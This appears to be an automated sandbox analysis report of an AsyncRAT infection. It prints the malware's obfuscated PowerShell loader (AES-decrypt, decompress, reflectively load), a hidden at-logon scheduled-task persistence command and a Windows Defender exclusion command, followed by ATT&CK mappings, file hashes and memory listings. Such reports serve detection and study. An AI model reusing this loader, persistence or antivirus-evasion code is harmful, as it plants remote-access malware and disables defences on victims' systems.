'')('/21C5PLzK2uu1MqJwEaXWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$bbKFI=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$tDIwH=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$FlJeX=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($bbKFI, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $FlJeX.CopyTo($tDIwH); $FlJeX.Dispose(); $bbKFI.Dispose(); $tDIwH.Dispose(); $tDIwH.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MjSwFSGHYBZqPaI=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$VyBmptOMNBIcWYPebJsgSRdMOvuMeIdNHOLgKxPDXxeUXQJIiwYGxUPevOxUZcHfyUuinIuDUOjvMiPYLLDHKwpNYHLVaVEVPZwcvAvzcuMILurmYzioyaubEGjGXyDZknFNLNCkqeEqJHcDpzXBMq=$MjSwFSGHYBZqPaI.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$VyBmptOMNBIcWYPebJsgSRdMOvuMeIdNHOLgKxPDXxeUXQJIiwYGxUPevOxUZcHfyUuinIuDUOjvMiPYLLDHKwpNYHLVaVEVPZwcvAvzcuMILurmYzioyaubEGjGXyDZknFNLNCkqeEqJHcDpzXBMq.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Le = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $Le;$gUKFXTSqvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Le).Split([Environment]::NewLine);foreach ($wU in $gUKFXTSqvy) { if ($wU.StartsWith(':: ')) { $s=$wU.Substring(3); break; }}$payloads_var=[string[]]$s.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4556
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr847_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_847.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2052
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_847.vbs"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4488
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_847.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Rr8+grcZJNGH203eeUxXpnDWX4hdpd2UTJfbowjN1dY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/21C5PLzK2uu1MqJwEaXWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$bbKFI=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$tDIwH=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$FlJeX=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($bbKFI, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $FlJeX.CopyTo($tDIwH); $FlJeX.Dispose(); $bbKFI.Dispose(); $tDIwH.Dispose(); $tDIwH.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MjSwFSGHYBZqPaI=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$VyBmptOMNBIcWYPebJsgSRdMOvuMeIdNHOLgKxPDXxeUXQJIiwYGxUPevOxUZcHfyUuinIuDUOjvMiPYLLDHKwpNYHLVaVEVPZwcvAvzcuMILurmYzioyaubEGjGXyDZknFNLNCkqeEqJHcDpzXBMq=$MjSwFSGHYBZqPaI.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$VyBmptOMNBIcWYPebJsgSRdMOvuMeIdNHOLgKxPDXxeUXQJIiwYGxUPevOxUZcHfyUuinIuDUOjvMiPYLLDHKwpNYHLVaVEVPZwcvAvzcuMILurmYzioyaubEGjGXyDZknFNLNCkqeEqJHcDpzXBMq.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Le = 'C:\Users\Admin\AppData\Roaming\inicia_str_847.bat';$host.UI.RawUI.WindowTitle = $Le;$gUKFXTSqvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Le).Split([Environment]::NewLine);foreach ($wU in $gUKFXTSqvy) { if ($wU.StartsWith(':: ')) { $s=$wU.Substring(3); break; }}$payloads_var=[string[]]$s.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4724

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
d7f4334da8ea4e9031e2b3e05f1969f5

SHA1
c6f848ad507187581be448049763a2d4848b4f08

SHA256
629040461997c0ee7a7bebb36641e9b1df106ac6e192298042cbb490d63ad785

SHA512
19493551573950000366c76c4834d763de732d9770b99b5dbbbdbb5ab4fb132d436990d97cf66662e28b4f68284b0b23c8731e411745f9d22a2d0d0aed3d6c99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
215fa5932830c64a7049274a3716ba58

SHA1
19b3835fe5674c620bbac144e3b042fa89c54070

SHA256
7fcdd9641321e0b0fc76cab08a789125783bbe07d752ca14bc6184c4fd381986

SHA512
5a04070b08d0e459949190d8238684e0b2b8a5b7cad16041724e8913b6591944abfb535f849d17d0714c2f9a34910ac8147100978848061fd83600e4b9eb1803

Download Submit
C:\Users\Admin\AppData\Local\Temp\4698_output.vbs

Filesize
203KB

MD5
4b6a750839856ab620fbdfc0250b3efd

SHA1
95474dd9bcf969c408911fa7500dc3ccc6416596

SHA256
41e24d66f8bb13b08c6a41c4b4a2cbd52056edd2a17bec6f30fe3838db6d1f2d

SHA512
0ce01f73301a57ca6dfacd135705f8662ba2cdd390da4afb0f9af27135f494da93d24fe5489a92de0f50766c63cef6b13db1095751f4c9f22f52d7aad87f8357

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT.exe

Filesize
6.4MB

MD5
97a429c4b6a2cb95ece0ddb24c3c2152

SHA1
6fcc26793dd474c0c7113b3360ff29240d9a9020

SHA256
06899071233d61009a64c726a4523aa13d81c2517a0486cc99ac5931837008e5

SHA512
524a63f39e472bd052a258a313ff4f2005041b31f11da4774d3d97f72773f3edb40df316fa9cc2a0f51ea5d8ac404cfdd486bab6718bae60f0d860e98e533f89

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9E15.tmp

Filesize
1KB

MD5
05571a51202de51f86f6232031c523bd

SHA1
5730fc7a45d8693774a3c08a67cd46b4a76f7ced

SHA256
85a04c53856373e2d1a71804e7f80aba8bec1249037fe6b7c7136606be091e8b

SHA512
e64813cdf57d10f666d136d487affd69deefaffb0d04e9dd9da473592321e4e7f6380e07cbcf8e3507f2b44491a2295f844cb00e148ae61d763bd5c205adbe5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mgs0j3ic.wli.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
5232ae6fddae8282c999a2af864b6740

SHA1
32036e875da948a42c6ee56f3efa6fd3eff57072

SHA256
a385fb3a490d7d72e6ab967898ce90f68262816655a6978d398cb51cfbed0c4e

SHA512
09a0c7c1bf434cefd3159d11842d570ec862cda5559bd7db3b2839809397189744b4a1a6927392b42fa6842463c477d4fe9c616d9e6549d5eafe9fbc19838130

Download Submit
C:\Users\Admin\AppData\Local\Temp\ohkkrtmx\ohkkrtmx.dll

Filesize
4KB

MD5
7db16983fac4f397b5c0d810c7b742f9

SHA1
62bd0c5a2733344e4c248005c8b616fea1559240

SHA256
47ef25e8229ac6e418e07bfa8575cef1929678c6b3e1e3ea07368a16503a3d27

SHA512
3e266b50567302ff1555120ba2442af9a7d3ab82c700ad4ee9e26817c033a1884b914b84fd18cc71f517c8e3bb3a18bdff8bcc9a71feb034be3bf24a9087f675

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_847.vbs

Filesize
114B

MD5
721c249de906e25b76fa8910b3275d01

SHA1
fb66eadc80fbea56e3ae33b3bc89f0cdc57903ae

SHA256
e46cd66cf5aef3b7e1ed921c506d7c89486db75c4d868277d24cf7bbcdfc4422

SHA512
3746c15ce4fbca196191973e37483e544ebe516d23ad5b10df405ce21320bd1be48d460c8466804ea8b8c34cb7911557c0f9c6fc3aecee44010a125dfaef4870

Download Submit
C:\windows\temp\ezckxsig.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ohkkrtmx\CSCEDFA511ABD742B890F805F1BDE20D3.TMP

Filesize
652B

MD5
8338800ba0b2506c243f4e01652b8110

SHA1
6855c08f2ff22670af29d0f7e6c6299d77438737

SHA256
caae294e9859be8aff117932be1ccb05c05d92674287d18ea3844c798ee602d4

SHA512
ae46f444d4a8a60bb506d2f937390947bfa781dd4a6815fdc4d689c75b91d8e93ccce79e32e0077218f033ae208cde6ffe33b924f0b7d6924bef0e5b9bdcc2f8

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\??\c:\Users\Admin\AppData\Local\Temp\ohkkrtmx\ohkkrtmx.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ohkkrtmx\ohkkrtmx.cmdline

Filesize
369B

MD5
05a37389a988110c472ab2cb780175b1

SHA1
3dfe9eb6eeb9448cba25c557b59a1d0099c07bd0

SHA256
adc766dd4f47c9bad93302f3f72baaaef52d5bd3a26b473a95e4a81b741d022d

SHA512
03aee776cdf09328371a3406c7b9c64c4a2f442b8e5388e8799711d37419be02930ba8f22c39456f416f1c88d3a4e116e6d345b3f69c3f2fdc6321dfa6aafd35

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memory/1948-130-0x0000000004ED0000-0x0000000004EE2000-memory.dmp

Filesize
72KB

Download
memory/1948-131-0x0000000006F40000-0x0000000006FDC000-memory.dmp

Filesize
624KB

Download
memory/2020-35-0x000001E62E710000-0x000001E62E718000-memory.dmp

Filesize
32KB

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memory/2020-22-0x000001E62E6B0000-0x000001E62E6CC000-memory.dmp

Filesize
112KB

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memory/2020-17-0x000001E62E220000-0x000001E62E242000-memory.dmp

Filesize
136KB

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memory/2052-94-0x00000000075D0000-0x0000000007602000-memory.dmp

Filesize
200KB

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memory/2052-95-0x0000000070530000-0x000000007057C000-memory.dmp

Filesize
304KB

Download
memory/2052-109-0x0000000007950000-0x0000000007961000-memory.dmp

Filesize
68KB

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memory/2052-108-0x00000000079D0000-0x0000000007A66000-memory.dmp

Filesize
600KB

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memory/2052-107-0x00000000077C0000-0x00000000077CA000-memory.dmp

Filesize
40KB

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memory/2052-106-0x0000000007610000-0x00000000076B3000-memory.dmp

Filesize
652KB

Download
memory/2052-105-0x0000000007590000-0x00000000075AE000-memory.dmp

Filesize
120KB

Download
memory/2288-2-0x00007FF6F5A40000-0x00007FF6F6413000-memory.dmp

Filesize
9.8MB

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memory/4556-75-0x0000000005900000-0x0000000005C54000-memory.dmp

Filesize
3.3MB

Download
memory/4556-83-0x0000000007E50000-0x00000000083F4000-memory.dmp

Filesize
5.6MB

Download
memory/4556-79-0x00000000077D0000-0x0000000007E4A000-memory.dmp

Filesize
6.5MB

Download
memory/4556-82-0x0000000006FF0000-0x0000000006FFE000-memory.dmp

Filesize
56KB

Download
memory/4556-65-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/4556-62-0x0000000005070000-0x0000000005698000-memory.dmp

Filesize
6.2MB

Download
memory/4556-78-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Filesize
304KB

Download
memory/4556-64-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/4556-81-0x0000000006FE0000-0x0000000006FE8000-memory.dmp

Filesize
32KB

Download
memory/4556-80-0x0000000006F70000-0x0000000006F8A000-memory.dmp

Filesize
104KB

Download
memory/4556-77-0x0000000005E30000-0x0000000005E4E000-memory.dmp

Filesize
120KB

Download
memory/4556-63-0x00000000056A0000-0x00000000056C2000-memory.dmp

Filesize
136KB

Download
memory/4556-61-0x0000000004A00000-0x0000000004A36000-memory.dmp

Filesize
216KB

Download
memory/4928-55-0x00007FF9E2B23000-0x00007FF9E2B25000-memory.dmp

Filesize
8KB

Download
memory/4928-11-0x000002657E410000-0x000002657E662000-memory.dmp

Filesize
2.3MB

Download
memory/4928-9-0x000002657B920000-0x000002657BF8A000-memory.dmp

Filesize
6.4MB

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memory/4928-7-0x00007FF9E2B23000-0x00007FF9E2B25000-memory.dmp

Filesize
8KB

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